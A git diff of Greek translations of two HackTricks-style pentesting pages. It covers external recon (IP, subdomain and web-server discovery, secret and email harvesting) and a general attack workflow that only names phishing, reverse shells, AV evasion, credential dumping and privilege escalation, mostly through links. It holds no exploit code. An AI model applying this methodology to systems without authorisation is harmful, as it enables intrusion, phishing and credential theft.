NAN;_Note ότι μερικές φορές το subdomain φιλοξενείται σε μια IP που δεν ελέγχεται από τον πελάτη, οπότε δεν είναι στο πεδίο, προσέξτε._
## IPs
-Στα αρχικά βήματα μπορεί να έχετε **βρει κάποιες περιοχές IP, domains και subdomains**.\
-Ήρθε η ώρα να **συλλέξετε όλες τις IPs από αυτές τις περιοχές** και για τα **domains/subdomains (DNS queries).**
+Στα αρχικά βήματα μπορεί να έχετε **βρει κάποιες IP ranges, domains και subdomains**.\
+Ήρθε η ώρα να **συλλέξετε όλες τις IPs από αυτές τις ranges** και για τα **domains/subdomains (DNS queries).**
Χρησιμοποιώντας υπηρεσίες από τις παρακάτω **δωρεάν APIs** μπορείτε επίσης να βρείτε **προηγούμενες IPs που χρησιμοποιήθηκαν από domains και subdomains**. Αυτές οι IPs μπορεί να ανήκουν ακόμα στον πελάτη (και μπορεί να σας επιτρέψουν να βρείτε [**CloudFlare bypasses**](../../network-services-pentesting/pentesting-web/uncovering-cloudflare.md))
@@ -476,29 +476,29 @@ ffuf -w subdomains-top1million-5000.txt -u http://10.10.10.208 -H 'Origin: http:
**Σαρώστε όλες τις IPs που δεν ανήκουν σε CDNs** (καθώς είναι πολύ πιθανό να μην βρείτε τίποτα ενδιαφέρον εκεί). Στις υπηρεσίες που ανακαλύφθηκαν μπορεί να είστε **σε θέση να βρείτε ευπάθειες**.
-**Βρείτε έναν** [**οδηγό**](../pentesting-network/) **για το πώς να σαρώσετε hosts.**
+**Βρείτε έναν** [**οδηγό**](../pentesting-network/index.html) **για το πώς να σαρώσετε hosts.**
## Web servers hunting
-> Έχουμε βρει όλες τις εταιρείες και τα περιουσιακά τους στοιχεία και γνωρίζουμε περιοχές IP, domains και subdomains μέσα στο πεδίο. Ήρθε η ώρα να αναζητήσουμε web servers.
+> Έχουμε βρει όλες τις εταιρείες και τα assets τους και γνωρίζουμε IP ranges, domains και subdomains μέσα στο πεδίο. Ήρθε η ώρα να αναζητήσουμε web servers.
Στα προηγούμενα βήματα έχετε πιθανώς ήδη εκτελέσει κάποια **recon των IPs και domains που ανακαλύφθηκαν**, οπότε μπορεί να έχετε **ήδη βρει όλους τους πιθανούς web servers**. Ωστόσο, αν δεν το έχετε κάνει, τώρα θα δούμε μερικά **γρήγορα κόλπα για να αναζητήσουμε web servers** μέσα στο πεδίο.
Παρακαλώ σημειώστε ότι αυτό θα είναι **προσανατολισμένο στην ανακάλυψη web apps**, οπότε θα πρέπει να **εκτελέσετε τη σάρωση ευπαθειών** και **σάρωση θυρών** επίσης (**αν επιτρέπεται** από το πεδίο).
Μια **γρήγορη μέθοδος** για να ανακαλύψετε **ανοιχτές θύρες** σχετικές με **web** servers χρησιμοποιώντας [**masscan** μπορεί να βρεθεί εδώ](../pentesting-network/index.html#http-port-discovery).\
-Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περάστε μια λίστα domains και θα προσπαθήσει να συνδεθεί σε θύρα 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
+Ένα άλλο φιλικό εργαλείο για να αναζητήσετε web servers είναι [**httprobe**](https://github.com/tomnomnom/httprobe)**,** [**fprobe**](https://github.com/theblackturtle/fprobe) και [**httpx**](https://github.com/projectdiscovery/httpx). Απλά περάστε μια λίστα domains και θα προσπαθήσει να συνδεθεί στις θύρες 80 (http) και 443 (https). Επιπλέον, μπορείτε να υποδείξετε να δοκιμάσει άλλες θύρες:
```bash
cat /tmp/domains.txt | httprobe #Test all domains inside the file for port 80 and 443
cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 and 8080 and 8443
```
### **Στιγμιότυπα**
-Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με **μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**.
+Τώρα που έχετε ανακαλύψει **όλους τους διακομιστές ιστού** που υπάρχουν στο πεδίο (μεταξύ των **IP** της εταιρείας και όλων των **τομέων** και **υποτομέων**) πιθανόν **να μην ξέρετε από πού να ξεκινήσετε**. Έτσι, ας το κάνουμε απλό και ας ξεκινήσουμε απλά παίρνοντας στιγμιότυπα όλων τους. Απλά με το **να ρίξετε μια ματιά** στη **κύρια σελίδα** μπορείτε να βρείτε **παράξενες** διευθύνσεις που είναι πιο **επιρρεπείς** να είναι **ευάλωτες**.
Για να εκτελέσετε την προτεινόμενη ιδέα μπορείτε να χρησιμοποιήσετε [**EyeWitness**](https://github.com/FortyNorthSecurity/EyeWitness), [**HttpScreenshot**](https://github.com/breenmachine/httpscreenshot), [**Aquatone**](https://github.com/michenriksen/aquatone), [**Shutter**](https://shutter-project.org/downloads/third-party-packages/), [**Gowitness**](https://github.com/sensepost/gowitness) ή [**webscreenshot**](https://github.com/maaaaz/webscreenshot)**.**
-Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι πιθανόν να περιέχει ευπάθειες**, και τι όχι.
+Επιπλέον, μπορείτε να χρησιμοποιήσετε [**eyeballer**](https://github.com/BishopFox/eyeballer) για να ελέγξετε όλα τα **στιγμιότυπα** και να σας πει **τι είναι πιθανό να περιέχει ευπάθειες**, και τι όχι.
## Δημόσια Περιουσιακά Στοιχεία Cloud
@@ -518,7 +518,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **Αναζητώντας ευπάθειες**
-Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκτεθειμένες cloud functions** θα πρέπει να **τα αποκτήσετε πρόσβαση** και να δείτε τι προσφέρουν και αν μπορείτε να τα εκμεταλλευτείτε.
+Αν βρείτε πράγματα όπως **ανοιχτά buckets ή εκτεθειμένες cloud functions** θα πρέπει να **τα αποκτήσετε πρόσβαση** και να δείτε τι σας προσφέρουν και αν μπορείτε να τα εκμεταλλευτείτε.
## Emails
@@ -531,7 +531,7 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### **Αναζητώντας ευπάθειες**
-Τα emails θα είναι χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
+Τα emails θα φανούν χρήσιμα αργότερα για **brute-force web logins και auth services** (όπως το SSH). Επίσης, είναι απαραίτητα για **phishings**. Επιπλέον, αυτές οι APIs θα σας δώσουν ακόμα περισσότερες **πληροφορίες για το άτομο** πίσω από το email, που είναι χρήσιμες για την εκστρατεία phishing.
## Διαρροές Διαπιστευτηρίων
@@ -550,14 +550,14 @@ cat /tmp/domains.txt | httprobe -p http:8080 -p https:8443 #Check port 80, 443 a
### Διαρροές Github
-Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στα **δημόσια αποθετήρια** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
-Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλα τα **δημόσια αποθετήρια** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα.
+Διαπιστευτήρια και APIs μπορεί να έχουν διαρρεύσει στις **δημόσιες αποθήκες** της **εταιρείας** ή των **χρηστών** που εργάζονται για αυτή την εταιρεία στο github.\
+Μπορείτε να χρησιμοποιήσετε το **εργαλείο** [**Leakos**](https://github.com/carlospolop/Leakos) για να **κατεβάσετε** όλες τις **δημόσιες αποθήκες** μιας **οργάνωσης** και των **προγραμματιστών** της και να εκτελέσετε [**gitleaks**](https://github.com/zricethezav/gitleaks) πάνω τους αυτόματα.
-**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** κατά όλων των **κειμένων** που παρέχονται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
+**Leakos** μπορεί επίσης να χρησιμοποιηθεί για να εκτελέσει **gitleaks** σε όλο το **κείμενο** που παρέχεται **URLs που του έχουν περαστεί** καθώς μερικές φορές **οι ιστοσελίδες περιέχουν επίσης μυστικά**.
#### Github Dorks
-Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανά **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
+Ελέγξτε επίσης αυτή τη **σελίδα** για πιθανούς **github dorks** που θα μπορούσατε επίσης να αναζητήσετε στην οργάνωση που επιτίθεστε:
{{#ref}}
github-leaked-secrets.md
@@ -570,9 +570,9 @@ github-leaked-secrets.md
### Google Dorks
-Οι παλιές αλλά χρυσές google dorks είναι πάντα χρήσιμες για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**.
+Οι παλιοί αλλά χρυσοί google dorks είναι πάντα χρήσιμοι για να βρείτε **εκτεθειμένες πληροφορίες που δεν θα έπρεπε να υπάρχουν εκεί**. Το μόνο πρόβλημα είναι ότι η [**google-hacking-database**](https://www.exploit-db.com/google-hacking-database) περιέχει αρκετές **χιλιάδες** πιθανές ερωτήσεις που δεν μπορείτε να εκτελέσετε χειροκίνητα. Έτσι, μπορείτε να πάρετε τις 10 αγαπημένες σας ή να χρησιμοποιήσετε ένα **εργαλείο όπως** [**Gorks**](https://github.com/carlospolop/Gorks) **για να τις εκτελέσετε όλες**.
-_Σημειώστε ότι τα εργαλεία που αναμένουν να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
+_Σημειώστε ότι τα εργαλεία που αναμένονται να εκτελέσουν όλη τη βάση δεδομένων χρησιμοποιώντας τον κανονικό περιηγητή Google δεν θα τελειώσουν ποτέ καθώς η Google θα σας μπλοκάρει πολύ πολύ σύντομα._
### **Αναζητώντας ευπάθειες**
@@ -582,37 +582,37 @@ _Σημειώστε ότι τα εργαλεία που αναμένουν να
Αν διαπιστώσετε ότι η εταιρεία έχει **ανοιχτό κώδικα** μπορείτε να **αναλύσετε** αυτόν και να αναζητήσετε **ευπάθειες** σε αυτόν.
-**Ανάλογα με τη γλώσσα** υπάρχουν διάφορα **εργαλεία** που μπορείτε να χρησιμοποιήσετε:
+**Ανάλογα με τη γλώσσα** υπάρχουν διαφορετικά **εργαλεία** που μπορείτε να χρησιμοποιήσετε:
{{#ref}}
../../network-services-pentesting/pentesting-web/code-review-tools.md
{{#endref}}
-Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσια αποθετήρια**, όπως:
+Υπάρχουν επίσης δωρεάν υπηρεσίες που σας επιτρέπουν να **σκανάρετε δημόσιες αποθήκες**, όπως:
- [**Snyk**](https://app.snyk.io/)
-## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/)
+## [**Pentesting Web Methodology**](../../network-services-pentesting/pentesting-web/index.html)
-Η **πλειοψηφία των ευπαθειών** που βρίσκονται από τους κυνηγούς σφαλμάτων βρίσκεται μέσα σε **ιστοσελίδες**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών ιστοσελίδων**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/).
+Η **πλειοψηφία των ευπαθειών** που βρίσκονται από κυνηγούς σφαλμάτων βρίσκεται μέσα σε **web applications**, οπότε σε αυτό το σημείο θα ήθελα να μιλήσω για μια **μεθοδολογία δοκιμών web εφαρμογών**, και μπορείτε να [**βρείτε αυτές τις πληροφορίες εδώ**](../../network-services-pentesting/pentesting-web/index.html).
Θέλω επίσης να κάνω μια ειδική αναφορά στην ενότητα [**Web Automated Scanners open source tools**](../../network-services-pentesting/pentesting-web/index.html#automatic-scanners), καθώς, αν δεν πρέπει να περιμένετε να σας βρουν πολύ ευαίσθητες ευπάθειες, είναι χρήσιμα για να τα εφαρμόσετε σε **ροές εργασίας για να έχετε κάποιες αρχικές πληροφορίες ιστού.**
## Ανακεφαλαίωση
-> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη την βασική καταμέτρηση**. Ναι, είναι βασικό γιατί μπορεί να γίνει πολύ περισσότερη καταμέτρηση (θα δούμε περισσότερα κόλπα αργότερα).
+> Συγχαρητήρια! Σε αυτό το σημείο έχετε ήδη εκτελέσει **όλη την βασική καταμέτρηση**. Ναι, είναι βασική γιατί μπορεί να γίνει πολύ περισσότερη καταμέτρηση (θα δούμε περισσότερα κόλπα αργότερα).
Έτσι έχετε ήδη:
-1. Βρει όλους τους **εταιρείες** μέσα στο πεδίο
+1. Βρει όλους τους **τομείς** μέσα στο πεδίο
2. Βρει όλα τα **περιουσιακά στοιχεία** που ανήκουν στις εταιρείες (και εκτελέσει κάποια σάρωση ευπαθειών αν είναι στο πεδίο)
3. Βρει όλους τους **τομείς** που ανήκουν στις εταιρείες
4. Βρει όλους τους **υποτομείς** των τομέων (κάποια κατάληψη υποτομέα;)
5. Βρει όλες τις **IP** (από και **όχι από CDNs**) μέσα στο πεδίο.
-6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο προσεκτική ματιά;)
+6. Βρει όλους τους **διακομιστές ιστού** και πήρε ένα **στιγμιότυπο** από αυτούς (κάτι παράξενο που αξίζει μια πιο βαθιά ματιά;)
7. Βρει όλα τα **πιθανά δημόσια περιουσιακά στοιχεία cloud** που ανήκουν στην εταιρεία.
8. **Emails**, **διαρροές διαπιστευτηρίων**, και **διαρροές μυστικών** που θα μπορούσαν να σας δώσουν μια **μεγάλη νίκη πολύ εύκολα**.
-9. **Pentesting όλων των ιστοσελίδων που βρήκατε**
+9. **Pentesting όλων των ιστότοπων που βρήκατε**
## **Πλήρη Αυτόματα Εργαλεία Αναγνώρισης**
diff --git a/src/generic-methodologies-and-resources/pentesting-methodology.md b/src/generic-methodologies-and-resources/pentesting-methodology.md
index 8bf2f38ac..902136456 100644
--- a/src/generic-methodologies-and-resources/pentesting-methodology.md
+++ b/src/generic-methodologies-and-resources/pentesting-methodology.md
@@ -11,16 +11,16 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
### 0- Φυσικές Επιθέσεις
-Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Πρέπει να διαβάσετε μερικά [**tricks για φυσικές επιθέσεις**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**διαφυγή από GUI εφαρμογές**](../hardware-physical-access/escaping-from-gui-applications.md).
+Έχετε **φυσική πρόσβαση** στη μηχανή που θέλετε να επιτεθείτε; Θα πρέπει να διαβάσετε μερικά [**tricks about physical attacks**](../hardware-physical-access/physical-attacks.md) και άλλα σχετικά με [**escaping from GUI applications**](../hardware-physical-access/escaping-from-gui-applications.md).
-### 1 - [Ανακαλύπτοντας hosts μέσα στο δίκτυο](pentesting-network/index.html#discovering-hosts)/ [Ανακαλύπτοντας περιουσιακά στοιχεία της εταιρείας](external-recon-methodology/)
+### 1 - [Ανακαλύπτοντας hosts μέσα στο δίκτυο](pentesting-network/index.html#discovering-hosts)/ [Ανακαλύπτοντας τα περιουσιακά στοιχεία της εταιρείας](external-recon-methodology/index.html)
-**Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο δίκτυο της εταιρείας** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή).
+**Ανάλογα** με το αν η **δοκιμή** που εκτελείτε είναι **εσωτερική ή εξωτερική**, μπορεί να σας ενδιαφέρει να βρείτε **hosts μέσα στο εταιρικό δίκτυο** (εσωτερική δοκιμή) ή **να βρείτε περιουσιακά στοιχεία της εταιρείας στο διαδίκτυο** (εξωτερική δοκιμή).
> [!NOTE]
> Σημειώστε ότι αν εκτελείτε μια εξωτερική δοκιμή, μόλις καταφέρετε να αποκτήσετε πρόσβαση στο εσωτερικό δίκτυο της εταιρείας, θα πρέπει να επανεκκινήσετε αυτόν τον οδηγό.
-### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/) **(Εσωτερική)**
+### **2-** [**Διασκεδάζοντας με το δίκτυο**](pentesting-network/index.html) **(Εσωτερική)**
**Αυτή η ενότητα ισχύει μόνο αν εκτελείτε μια εσωτερική δοκιμή.**\
Πριν επιτεθείτε σε έναν host, ίσως προτιμήσετε να **κλέψετε κάποια διαπιστευτήρια** **από το δίκτυο** ή να **sniff** κάποια **δεδομένα** για να μάθετε **παθητικά/ενεργά (MitM)** τι μπορείτε να βρείτε μέσα στο δίκτυο. Μπορείτε να διαβάσετε [**Pentesting Network**](pentesting-network/index.html#sniffing).
@@ -37,28 +37,28 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
Αν δεν υπάρχει κάποιο fancy exploit για καμία εκτελούμενη υπηρεσία, θα πρέπει να αναζητήσετε **κοινές κακοδιαμορφώσεις σε κάθε εκτελούμενη υπηρεσία.**
-**Μέσα σε αυτό το βιβλίο θα βρείτε έναν οδηγό για να pentest τις πιο κοινές υπηρεσίες** (και άλλες που δεν είναι τόσο κοινές)**. Παρακαλώ, αναζητήστε στον αριστερό δείκτη την** _**PENTESTING**_ **ενότητα** (οι υπηρεσίες είναι ταξινομημένες κατά τις προεπιλεγμένες θύρες τους).
+**Μέσα σε αυτό το βιβλίο θα βρείτε έναν οδηγό για να pentest τις πιο κοινές υπηρεσίες** (και άλλες που δεν είναι τόσο κοινές)**. Παρακαλώ, αναζητήστε στην αριστερή ευρετήριο την** _**PENTESTING**_ **ενότητα** (οι υπηρεσίες είναι ταξινομημένες κατά τις προεπιλεγμένες θύρες τους).
-**Θέλω να κάνω μια ειδική αναφορά στο** [**Pentesting Web**](../network-services-pentesting/pentesting-web/) **μέρος (καθώς είναι το πιο εκτενές).**\
+**Θέλω να κάνω μια ειδική αναφορά στο** [**Pentesting Web**](../network-services-pentesting/pentesting-web/index.html) **μέρος (καθώς είναι το πιο εκτενές).**\
Επίσης, μπορείτε να βρείτε εδώ έναν μικρό οδηγό για το πώς να [**βρείτε γνωστές ευπάθειες σε λογισμικό**](../generic-hacking/search-exploits.md).
-**Αν η υπηρεσία σας δεν είναι μέσα στον δείκτη, αναζητήστε στο Google** για άλλους οδηγούς και **ενημερώστε με αν θέλετε να το προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε τη **δική σας τυφλή pentesting**, μπορείτε να ξεκινήσετε με το **να συνδεθείτε στην υπηρεσία, να την fuzzing και να διαβάσετε τις απαντήσεις** (αν υπάρχουν).
+**Αν η υπηρεσία σας δεν είναι μέσα στο ευρετήριο, αναζητήστε στο Google** για άλλους οδηγούς και **ενημερώστε με αν θέλετε να το προσθέσω.** Αν **δεν μπορείτε να βρείτε τίποτα** στο Google, εκτελέστε τη **δική σας τυφλή pentesting**, μπορείτε να ξεκινήσετε με το **να συνδεθείτε στην υπηρεσία, να την fuzzing και να διαβάσετε τις απαντήσεις** (αν υπάρχουν).
#### 5.1 Αυτόματα Εργαλεία
-Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με τις υπηρεσίες pentesting που μπορείτε να βρείτε σε αυτό το βιβλίο.**
+Υπάρχουν επίσης αρκετά εργαλεία που μπορούν να εκτελέσουν **αυτόματες αξιολογήσεις ευπαθειών**. **Σας προτείνω να δοκιμάσετε** [**Legion**](https://github.com/carlospolop/legion)**, το οποίο είναι το εργαλείο που έχω δημιουργήσει και βασίζεται στις σημειώσεις σχετικά με το pentesting υπηρεσιών που μπορείτε να βρείτε σε αυτό το βιβλίο.**
#### **5.2 Brute-Forcing υπηρεσιών**
Σε ορισμένα σενάρια, μια **Brute-Force** μπορεί να είναι χρήσιμη για να **συμβιβάσετε** μια **υπηρεσία**. [**Βρείτε εδώ ένα CheatSheet για διαφορετικές υπηρεσίες brute forcing**](../generic-hacking/brute-force.md)**.**
-### 6- [Phishing](phishing-methodology/)
+### 6- [Phishing](phishing-methodology/index.html)
-Αν σε αυτό το σημείο δεν έχετε βρει καμία ενδιαφέρουσα ευπάθεια, ίσως χρειαστεί να δοκιμάσετε κάποιο phishing για να μπείτε στο δίκτυο. Μπορείτε να διαβάσετε τη μεθοδολογία phishing μου [εδώ](phishing-methodology/):
+Αν μέχρι αυτό το σημείο δεν έχετε βρει καμία ενδιαφέρουσα ευπάθεια, ίσως χρειαστεί να δοκιμάσετε κάποιο phishing για να μπείτε στο δίκτυο. Μπορείτε να διαβάσετε τη μεθοδολογία phishing μου [εδώ](phishing-methodology/index.html):
-### **7-** [**Λαμβάνοντας Shell**](../generic-hacking/reverse-shells/)
+### **7-** [**Λαμβάνοντας Shell**](../generic-hacking/reverse-shells/index.html)
-Με κάποιο τρόπο θα πρέπει να έχετε βρει **κάποιον τρόπο να εκτελέσετε κώδικα** στο θύμα. Στη συνέχεια, [μια λίστα με πιθανά εργαλεία μέσα στο σύστημα που μπορείτε να χρησιμοποιήσετε για να αποκτήσετε ένα reverse shell θα ήταν πολύ χρήσιμη](../generic-hacking/reverse-shells/).
+Με κάποιο τρόπο θα πρέπει να έχετε βρει **κάποιον τρόπο να εκτελέσετε κώδικα** στο θύμα. Στη συνέχεια, [μια λίστα με πιθανά εργαλεία μέσα στο σύστημα που μπορείτε να χρησιμοποιήσετε για να αποκτήσετε ένα reverse shell θα ήταν πολύ χρήσιμη](../generic-hacking/reverse-shells/index.html).
Ιδιαίτερα στα Windows, μπορεί να χρειαστείτε κάποια βοήθεια για να **αποφύγετε τα antivirus**: [**Ελέγξτε αυτή τη σελίδα**](../windows-hardening/av-bypass.md)**.**\\
@@ -68,7 +68,7 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
- [**Linux**](../linux-hardening/useful-linux-commands.md)
- [**Windows (CMD)**](../windows-hardening/basic-cmd-for-pentesters.md)
-- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/)
+- [**Windows (PS)**](../windows-hardening/basic-powershell-for-pentesters/index.html)
### **9 -** [**Εξαγωγή**](../generic-hacking/exfiltration.md)
@@ -79,26 +79,26 @@ _Hacktricks logos designed by_ [_@ppiernacho_](https://www.instagram.com/ppieran
#### **10.1- Τοπική Ανύψωση Προνομίων**
Αν δεν είστε **root/Διαχειριστής** μέσα στο σύστημα, θα πρέπει να βρείτε έναν τρόπο να **ανυψώσετε τα προνόμια.**\
-Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/)**.**\
-Πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
+Εδώ μπορείτε να βρείτε έναν **οδηγό για την ανύψωση προνομίων τοπικά σε** [**Linux**](../linux-hardening/privilege-escalation/index.html) **και σε** [**Windows**](../windows-hardening/windows-local-privilege-escalation/index.html)**.**\
+Θα πρέπει επίσης να ελέγξετε αυτές τις σελίδες σχετικά με το πώς λειτουργεί το **Windows**:
-- [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνόμια Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/)
-- Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/)
+- [**Αυθεντικοποίηση, Διαπιστευτήρια, Προνόμια Token και UAC**](../windows-hardening/authentication-credentials-uac-and-efs/index.html)
+- Πώς λειτουργεί το [**NTLM**](../windows-hardening/ntlm/index.html)
- Πώς να [**κλέψετε διαπιστευτήρια**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md) στα Windows
-- Μερικά tricks σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/)
+- Μερικά tricks σχετικά με [_**Active Directory**_](../windows-hardening/active-directory-methodology/index.html)
**Μην ξεχάσετε να ελέγξετε τα καλύτερα εργαλεία για να απαριθμήσετε τις τοπικές διαδρομές ανύψωσης προνομίων Windows και Linux:** [**Suite PEAS**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite)
#### **10.2- Ανύψωση Προνομίων Τομέα**
-Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, ανύψωση προνομίων και επιμονή σε ένα Active Directory**](../windows-hardening/active-directory-methodology/). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
+Εδώ μπορείτε να βρείτε μια [**μεθοδολογία που εξηγεί τις πιο κοινές ενέργειες για την απαρίθμηση, ανύψωση προνομίων και επιμονή σε ένα Active Directory**](../windows-hardening/active-directory-methodology/index.html). Ακόμα και αν αυτή είναι απλώς μια υποενότητα μιας ενότητας, αυτή η διαδικασία θα μπορούσε να είναι **εξαιρετικά λεπτή** σε μια αποστολή Pentesting/Red Team.
### 11 - POST
-#### **11**.1 - Λαφυραγώγηση
+#### **11**.1 - Λαφυραγωγία
Ελέγξτε αν μπορείτε να βρείτε περισσότερους **κωδικούς πρόσβασης** μέσα στον host ή αν έχετε **πρόσβαση σε άλλες μηχανές** με τα **προνόμια** του **χρήστη** σας.\
-Βρείτε εδώ διάφορους τρόπους για να [**dump passwords στα Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
+Βρείτε εδώ διάφορους τρόπους για να [**dump passwords in Windows**](https://github.com/carlospolop/hacktricks/blob/master/generic-methodologies-and-resources/broken-reference/README.md).
#### 11.2 - Επιμονή
@@ -111,20 +111,20 @@ TODO: Complete persistence Post in Windows & Linux
Με τα **συγκεντρωμένα διαπιστευτήρια** θα μπορούσατε να έχετε πρόσβαση σε άλλες μηχανές, ή ίσως χρειαστεί να **ανακαλύψετε και να σαρώσετε νέους hosts** (ξεκινήστε ξανά τη Μεθοδολογία Pentesting) μέσα σε νέα δίκτυα όπου είναι συνδεδεμένο το θύμα σας.\
Σε αυτή την περίπτωση, η σήραγγα μπορεί να είναι απαραίτητη. Εδώ μπορείτε να βρείτε [**ένα post που μιλάει για σήραγγες**](../generic-hacking/tunneling-and-port-forwarding.md).\
-Πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/). Εκεί θα βρείτε ωραία tricks για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να dump διαπιστευτήρια.\
-Ελέγξτε επίσης τη σελίδα σχετικά με το [**NTLM**](../windows-hardening/ntlm/), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows.
+Θα πρέπει επίσης να ελέγξετε το post σχετικά με τη [Μεθοδολογία pentesting Active Directory](../windows-hardening/active-directory-methodology/index.html). Εκεί θα βρείτε ωραία tricks για να μετακινηθείτε οριζόντια, να ανυψώσετε προνόμια και να dump διαπιστευτήρια.\
+Ελέγξτε επίσης τη σελίδα σχετικά με [**NTLM**](../windows-hardening/ntlm/index.html), μπορεί να είναι πολύ χρήσιμη για pivoting σε περιβάλλοντα Windows.
### ΠΕΡΙΣΣΟΤΕΡΑ
-#### [Εφαρμογές Android](../mobile-pentesting/android-app-pentesting/)
+#### [Εφαρμογές Android](../mobile-pentesting/android-app-pentesting/index.html)
#### **Εκμετάλλευση**
-- [**Βασική Εκμετάλλευση Linux**](broken-reference/)
+- [**Βασική Εκμετάλλευση Linux**](broken-reference/index.html)
- [**Βασική Εκμετάλλευση Windows**](../binary-exploitation/windows-exploiting-basic-guide-oscp-lvl.md)
-- [**Βασικά εργαλεία εκμετάλλευσης**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/)
+- [**Βασικά εργαλεία εκμετάλλευσης**](../binary-exploitation/basic-stack-binary-exploitation-methodology/tools/index.html)
-#### [**Βασική Python**](python/)
+#### [**Βασική Python**](python/index.html)
#### **Tricks Κρυπτογράφησης**
